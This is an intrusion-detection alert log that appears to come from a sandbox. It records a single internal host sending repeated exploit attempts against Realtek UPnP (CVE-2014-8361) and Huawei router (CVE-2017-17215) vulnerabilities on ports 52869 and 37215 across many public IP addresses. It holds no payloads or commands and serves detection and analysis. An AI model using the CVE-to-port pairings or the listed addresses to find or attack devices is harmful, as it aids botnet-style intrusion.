ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.200.160.126

Timestamp:	07/20/24-23:01:47.912435
SID:	2027339
Source Port:	55434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.51.57.163

Timestamp:	07/20/24-23:01:27.649885
SID:	2835222
Source Port:	54310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 146.210.17.240

Timestamp:	07/20/24-23:01:08.606848
SID:	2831300
Source Port:	36948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.70.243.196

Timestamp:	07/20/24-23:01:42.434719
SID:	2027339
Source Port:	34494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.155.148

Timestamp:	07/20/24-23:01:20.156820
SID:	2835222
Source Port:	56590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.203.170.191

Timestamp:	07/20/24-23:01:43.066571
SID:	2027339
Source Port:	38936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.199.163

Timestamp:	07/20/24-23:00:57.222279
SID:	2829579
Source Port:	47332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.68.164.174

Timestamp:	07/20/24-23:01:42.780168
SID:	2025132
Source Port:	33652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.62.182

Timestamp:	07/20/24-23:01:11.636425
SID:	2835222
Source Port:	50652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 31.139.123.246

Timestamp:	07/20/24-23:01:45.075399
SID:	2025132
Source Port:	55444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.234.87.122

Timestamp:	07/20/24-23:01:48.965786
SID:	2027339
Source Port:	41888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.225.154.233

Timestamp:	07/20/24-23:01:44.825081
SID:	2831300
Source Port:	49942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.239.208.54

Timestamp:	07/20/24-23:01:41.238000
SID:	2027339
Source Port:	38464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.189.132.142

Timestamp:	07/20/24-23:00:59.213564
SID:	2829579
Source Port:	40646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.187.195.110

Timestamp:	07/20/24-23:01:07.005155
SID:	2829579
Source Port:	39444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.152.212.38

Timestamp:	07/20/24-23:01:51.743446
SID:	2027339
Source Port:	52870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.108.156.75

Timestamp:	07/20/24-23:01:31.321188
SID:	2027339
Source Port:	57476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 102.134.118.47

Timestamp:	07/20/24-23:01:41.467111
SID:	2025132
Source Port:	37268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.99.39.216

Timestamp:	07/20/24-23:01:46.004063
SID:	2027339
Source Port:	40942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.188.68.37

Timestamp:	07/20/24-23:01:57.392094
SID:	2027339
Source Port:	36884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.123.78

Timestamp:	07/20/24-23:00:57.222090
SID:	2835222
Source Port:	41354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.130.132.139

Timestamp:	07/20/24-23:01:08.589759
SID:	2831300
Source Port:	35948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.106.122.253

Timestamp:	07/20/24-23:01:10.585824
SID:	2025132
Source Port:	37250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.248.56.62

Timestamp:	07/20/24-23:01:45.414030
SID:	2027339
Source Port:	33672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 88.49.181.78

Timestamp:	07/20/24-23:01:47.805449
SID:	2831300
Source Port:	60586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.55.210.200

Timestamp:	07/20/24-23:02:14.779973
SID:	2027339
Source Port:	54124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.244.207.174

Timestamp:	07/20/24-23:01:42.915641
SID:	2027339
Source Port:	57594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.197.205.28

Timestamp:	07/20/24-23:01:04.113037
SID:	2829579
Source Port:	44942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.179.244.2

Timestamp:	07/20/24-23:01:04.965535
SID:	2025132
Source Port:	44980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.3.191.75

Timestamp:	07/20/24-23:01:44.389834
SID:	2027339
Source Port:	54532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.113.7.103

Timestamp:	07/20/24-23:00:57.221145
SID:	2835222
Source Port:	56886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.57.182

Timestamp:	07/20/24-23:01:00.634165
SID:	2835222
Source Port:	37284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 44.188.193.15

Timestamp:	07/20/24-23:01:09.817737
SID:	2831300
Source Port:	52942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.97.7.185

Timestamp:	07/20/24-23:01:44.559176
SID:	2027339
Source Port:	51016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.123.92.219

Timestamp:	07/20/24-23:01:43.903732
SID:	2027339
Source Port:	59476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.49.61.251

Timestamp:	07/20/24-23:01:42.430595
SID:	2025132
Source Port:	46182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.162.26.171

Timestamp:	07/20/24-23:01:44.161942
SID:	2025132
Source Port:	55620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.147.61.106

Timestamp:	07/20/24-23:01:42.290838
SID:	2025132
Source Port:	43356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.61.192

Timestamp:	07/20/24-23:01:14.126869
SID:	2829579
Source Port:	40750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 123.35.251.224

Timestamp:	07/20/24-23:01:31.979565
SID:	2829579
Source Port:	50932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.86.119.85

Timestamp:	07/20/24-23:01:32.060731
SID:	2835222
Source Port:	60036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.217.14.87

Timestamp:	07/20/24-23:01:49.228425
SID:	2027339
Source Port:	43454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.18.44.19

Timestamp:	07/20/24-23:01:25.275555
SID:	2025132
Source Port:	46150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.117.188.131

Timestamp:	07/20/24-23:01:41.417573
SID:	2027339
Source Port:	52788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 121.163.119.125

Timestamp:	07/20/24-23:01:44.795218
SID:	2831300
Source Port:	48582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.175.162.178

Timestamp:	07/20/24-23:01:46.329268
SID:	2027339
Source Port:	50588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.157.219.101

Timestamp:	07/20/24-23:02:19.406496
SID:	2025132
Source Port:	48398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.45.42.138

Timestamp:	07/20/24-23:01:03.252602
SID:	2027339
Source Port:	35072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.195.248.226

Timestamp:	07/20/24-23:01:42.530468
SID:	2027339
Source Port:	59786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 73.38.236.100

Timestamp:	07/20/24-23:01:24.898476
SID:	2829579
Source Port:	45724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.169.76.44

Timestamp:	07/20/24-23:01:58.892811
SID:	2027339
Source Port:	53416
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.77.131.53

Timestamp:	07/20/24-23:00:57.221220
SID:	2829579
Source Port:	58196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.125.30.210

Timestamp:	07/20/24-23:01:42.602712
SID:	2831300
Source Port:	53166
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.104.180.12

Timestamp:	07/20/24-23:01:52.877228
SID:	2831300
Source Port:	56862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.176.134.213

Timestamp:	07/20/24-23:01:49.170008
SID:	2831300
Source Port:	50656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.205.78.42

Timestamp:	07/20/24-23:01:11.633481
SID:	2835222
Source Port:	53458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.75.221.250

Timestamp:	07/20/24-23:01:21.915268
SID:	2829579
Source Port:	42714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 177.181.36.106

Timestamp:	07/20/24-23:01:31.317668
SID:	2831300
Source Port:	48316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 222.178.130.155

Timestamp:	07/20/24-23:01:54.277123
SID:	2025132
Source Port:	55390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.80.181.136

Timestamp:	07/20/24-23:01:46.629075
SID:	2027339
Source Port:	36186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.16.236.13

Timestamp:	07/20/24-23:01:11.816504
SID:	2829579
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.38.231.207

Timestamp:	07/20/24-23:01:27.658221
SID:	2835222
Source Port:	47452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.217.40.139

Timestamp:	07/20/24-23:01:44.825081
SID:	2025132
Source Port:	59162
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.98.158.174

Timestamp:	07/20/24-23:01:02.432131
SID:	2027339
Source Port:	33560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.102.162.227

Timestamp:	07/20/24-23:01:45.094539
SID:	2027339
Source Port:	60544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.101.155.227

Timestamp:	07/20/24-23:01:24.943244
SID:	2835222
Source Port:	47638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.161.205.249

Timestamp:	07/20/24-23:01:49.631749
SID:	2025132
Source Port:	54194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.136.236.137

Timestamp:	07/20/24-23:01:03.175286
SID:	2027339
Source Port:	50620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.29.220.93

Timestamp:	07/20/24-23:02:04.208558
SID:	2027339
Source Port:	38938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.211.116.144

Timestamp:	07/20/24-23:01:46.109136
SID:	2025132
Source Port:	59800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.174.156.78

Timestamp:	07/20/24-23:02:01.320866
SID:	2027339
Source Port:	58754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.28.46.127

Timestamp:	07/20/24-23:01:04.082384
SID:	2835222
Source Port:	44494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.247.247.76

Timestamp:	07/20/24-23:01:31.312311
SID:	2027339
Source Port:	42756
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.160.162.200

Timestamp:	07/20/24-23:01:49.660516
SID:	2025132
Source Port:	48318
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.95.107.188

Timestamp:	07/20/24-23:01:51.197215
SID:	2025132
Source Port:	52982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.23.85

Timestamp:	07/20/24-23:01:31.976649
SID:	2835222
Source Port:	57286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.217.25

Timestamp:	07/20/24-23:01:40.343151
SID:	2835222
Source Port:	39838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.35.149.243

Timestamp:	07/20/24-23:01:24.885895
SID:	2829579
Source Port:	51412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.13.41.148

Timestamp:	07/20/24-23:01:49.228425
SID:	2027339
Source Port:	55586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.206.84.130

Timestamp:	07/20/24-23:01:45.079349
SID:	2027339
Source Port:	48408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.55.221.40

Timestamp:	07/20/24-23:01:08.640831
SID:	2831300
Source Port:	35834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.189.100.30

Timestamp:	07/20/24-23:01:55.944701
SID:	2025132
Source Port:	59102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.185.138.78

Timestamp:	07/20/24-23:01:04.094795
SID:	2829579
Source Port:	42104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.155.25.219

Timestamp:	07/20/24-23:01:02.146232
SID:	2835222
Source Port:	45252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.51.73.237

Timestamp:	07/20/24-23:01:44.340422
SID:	2027339
Source Port:	56000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.247.88.93

Timestamp:	07/20/24-23:01:42.111275
SID:	2025132
Source Port:	48622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.224.149.155

Timestamp:	07/20/24-23:01:51.400635
SID:	2027339
Source Port:	35110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.159.149.17

Timestamp:	07/20/24-23:01:42.115778
SID:	2831300
Source Port:	46138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.165.85.196

Timestamp:	07/20/24-23:01:02.127340
SID:	2835222
Source Port:	40570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.123.66.12

Timestamp:	07/20/24-23:01:27.664887
SID:	2835222
Source Port:	32876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 83.28.127.148

Timestamp:	07/20/24-23:02:00.668349
SID:	2831300
Source Port:	53924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 58.225.246.95

Timestamp:	07/20/24-23:01:02.127340
SID:	2829579
Source Port:	54968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.99.150.220

Timestamp:	07/20/24-23:01:08.606848
SID:	2831300
Source Port:	47194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.17.186.62

Timestamp:	07/20/24-23:01:51.919746
SID:	2027339
Source Port:	53294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.15.211.214

Timestamp:	07/20/24-23:01:01.387027
SID:	2025132
Source Port:	56974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.173.48.45

Timestamp:	07/20/24-23:01:42.891313
SID:	2027339
Source Port:	51320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.4.72.224

Timestamp:	07/20/24-23:01:34.053062
SID:	2835222
Source Port:	53248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.77.166.196

Timestamp:	07/20/24-23:01:42.774505
SID:	2027339
Source Port:	53844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.255.56.23

Timestamp:	07/20/24-23:01:25.940871
SID:	2025132
Source Port:	60192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

